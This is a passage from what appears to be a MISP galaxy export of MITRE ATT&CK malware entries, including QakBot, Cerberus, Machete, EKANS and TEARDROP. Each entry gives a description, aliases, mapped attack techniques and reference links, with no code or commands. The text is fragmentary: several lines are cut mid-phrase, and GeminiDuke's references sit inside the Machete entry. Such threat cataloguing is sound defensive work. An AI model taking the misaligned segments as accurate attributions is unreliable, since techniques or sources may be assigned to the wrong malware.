• uses: misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6720. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0604">https://attack.mitre.org/software/S0604</a></td>
</tr>
<tr>
<td><a href="https://dragos.com/blog/crashoverride/">https://dragos.com/blog/crashoverride/</a> CrashOverride-01.pdf</td>
</tr>
</tbody>
</table>

**BBK - S0470**

[BBK](https://attack.mitre.org/software/S0470) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)

The tag is: misp-galaxy:mitre-malware="BBK - S0470"
BBK - S0470 is also known as:

- BBK

View relationships graph

BBK - S0470 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6721. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0470">https://attack.mitre.org/software/S0470</a></td>
</tr>
</tbody>
</table>

Monokle - S0407

[Monokle](https://attack.mitre.org/software/S0407) is targeted, sophisticated mobile surveillanceware. It is developed for Android, but there are some code artifacts that suggests an iOS version may be in development.(Citation: Lookout-Monokle)

The tag is: `misp-galaxy:mitre-malware="Monokle - S0407"`

Monokle - S0407 is also known as:

- Monokle

View relationships graph

Monokle - S0407 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1638" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Call Log - T1636.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1544" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Call Control - T1616" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1645" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1429" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Calendar Entries - T1636.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1630.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hooking - T1617" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1421" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-
**Sakula - S0074**

[Sakula](https://attack.mitre.org/software/S0074) is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)

The tag is: `misp-galaxy:mitre-malware="Sakula - S0074"`

Sakula - S0074 is also known as:

- Sakula
- Sakurel
- VIPER

[View relationships graph](https://attack.mitre.org/software/S0074)

Sakula - S0074 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Out of Band Data - T1644"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"

- similar: `misp-galaxy:rat="Sakula"` with estimative-language:likelihood-probability="likely"

- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"

• similar: misp-galaxy:tool="Sakula" with estimative-language:likelihood-probability="likely"

Table 6723. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0074">https://attack.mitre.org/software/S0074</a></td>
</tr>
</tbody>
</table>

**Cerberus - S0480**

[Cerberus](https://attack.mitre.org/software/S0480) is a banking trojan whose usage can be rented on underground forums and marketplaces. Prior to being available to rent, the authors of [Cerberus](https://attack.mitre.org/software/S0480) claim was used in private operations for two years.(Citation: Threat Fabric Cerberus)

The tag is: *misp-galaxy:mitre-malware="Cerberus - S0480"*

Cerberus - S0480 is also known as:

• Cerberus

View relationships graph

Cerberus - S0480 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1630.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1437.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1629.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1633.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1509" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"

Table 6724. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0480">https://attack.mitre.org/software/S0480</a></td>
</tr>
</tbody>
</table>

**PinchDuke - S0048**

[PinchDuke](https://attack.mitre.org/software/S0048) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2008 to 2010. (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="PinchDuke - S0048"

PinchDuke - S0048 is also known as:

- PinchDuke

View relationships graph
PinchDuke - S0048 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

**Table 6725. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0048">https://attack.mitre.org/software/S0048</a></td>
</tr>
</tbody>
</table>

**GeminiDuke - S0049**

[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. (Citation: F-Secure The Dukes)

The tag is: misp-galaxy:mitre-malware="GeminiDuke - S0049"

GeminiDuke - S0049 is also known as:

- GeminiDuke

**View relationships graph**

GeminiDuke - S0049 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="GeminiDuke" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with
Machete - S0409

[Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset used by [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines that was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: 360 Machete Sep 2020)

The tag is: `misp-galaxy:mitre-malware="Machete - S0409"`

Machete - S0409 is also known as:

- Machete
- Pyark

View relationships graph

Machete - S0409 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"` with estimative-

---

Table 6726. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0049">https://attack.mitre.org/software/S0049</a></td>
</tr>
</tbody>
</table>
• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with

uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 6727. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0409">https://attack.mitre.org/software/S0409</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/el-machete/66108/">https://securelist.com/el-machete/66108/</a></td>
</tr>
</tbody>
</table>
DoubleAgent - S0550

[DoubleAgent](https://attack.mitre.org/software/S0550) is a family of RAT malware dating back to 2013, known to target groups with contentious relationships with the Chinese government.(Citation: Lookout Uyghur Campaign)

The tag is: `misp-galaxy:mitre-malware="DoubleAgent - S0550"`

DoubleAgent - S0550 is also known as:

- DoubleAgent

View relationships graph

DoubleAgent - S0550 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Unix Shell - T1623.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"

Table 6728. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0550">https://attack.mitre.org/software/S0550</a></td>
</tr>
</tbody>
</table>

RARSTONE - S0055

[RARSTONE](https://attack.mitre.org/software/S0055) is malware used by the [Naikon](https://attack.mitre.org/groups/G0019) group that has some characteristics similar to [PlugX](https://attack.mitre.org/software/S0013). (Citation: Aquino RARSTONE)

The tag is: misp-galaxy:mitre-malware="RARSTONE - S0055"

RARSTONE - S0055 is also known as:

• RARSTONE

View relationships graph

RARSTONE - S0055 has relationships with:

• similar: misp-galaxy:tool="RARSTONE" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 6729. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0055">https://attack.mitre.org/software/S0055</a></td>
</tr>
</tbody>
</table>
TEARDROP - S0560

[TEARDROP](https://attack.mitre.org/software/S0560) is a memory-only dropper that was discovered on some victim machines during investigations related to the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024). It was likely used by [APT29](https://attack.mitre.org/groups/G0016) since at least May 2020. (Citation: FireEye SUNBURST Backdoor December 2020) (Citation: Microsoft Deep Dive Solorigate January 2021)

The tag is: `misp-galaxy:mitre-malware="TEARDROP - S0560"`

TEARDROP - S0560 is also known as:

- TEARDROP

View relationships graph

TEARDROP - S0560 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012"` with estimative-language:likelihood-probability="almost-certain"

Table 6730. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0560">https://attack.mitre.org/software/S0560</a></td>
</tr>
</tbody>
</table>

EKANS - S0605

[EKANS](https://attack.mitre.org/software/S0605) is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. [EKANS](https://attack.mitre.org/software/S0605) has used a hard-coded kill-list of
processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in [MegaCortex](https://attack.mitre.org/software/S0576).(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)

The tag is: *misp-galaxy:mitre-malware="EKANS - S0605"*

EKANS - S0605 is also known as:

- EKANS
- SNAKEHOSE

View relationships graph

EKANS - S0605 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Service Stop - T1489"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"* with estimative-language:likelihood-probability="almost-certain"

*Table 6731. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0605">https://attack.mitre.org/software/S0605</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/threat-assessment-ekans-ransomware/">https://unit42.paloaltonetworks.com/threat-assessment-ekans-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/">https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/</a></td>
</tr>
</tbody>
</table>
ViperRAT - S0506

[ViperRAT](https://attack.mitre.org/software/S0506) is sophisticated surveillanceware that has been in operation since at least 2015 and was used to target the Israeli Defense Force.\(^{(Citation: \text{Lookout ViperRAT})}\)

The tag is: `misp-galaxy:mitre-malware="ViperRAT - S0506"`

ViperRAT - S0506 is also known as:

- ViperRAT

View relationships graph

ViperRAT - S0506 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Video Capture - T1512"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Contact List - T1636.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1533"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426"` with estimative-language:likelihood-probability="almost-certain"

*Table 6732. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0506">https://attack.mitre.org/software/S0506</a></td>
</tr>
</tbody>
</table>
QakBot - S0650

QakBot - S0650 is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. QakBot is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably ProLock and Egregor. (Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)

The tag is: misp-galaxy:mitre-malware="QakBot - S0650"

QakBot - S0650 is also known as:

- QakBot
- Pinkslipbot
- QuackBot
- QBot

View relationships graph

QakBot - S0650 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with
- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade File Type - T1036.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="HTML Smuggling - T1027.006" with estimative-language:likelihood-probability="almost-certain"

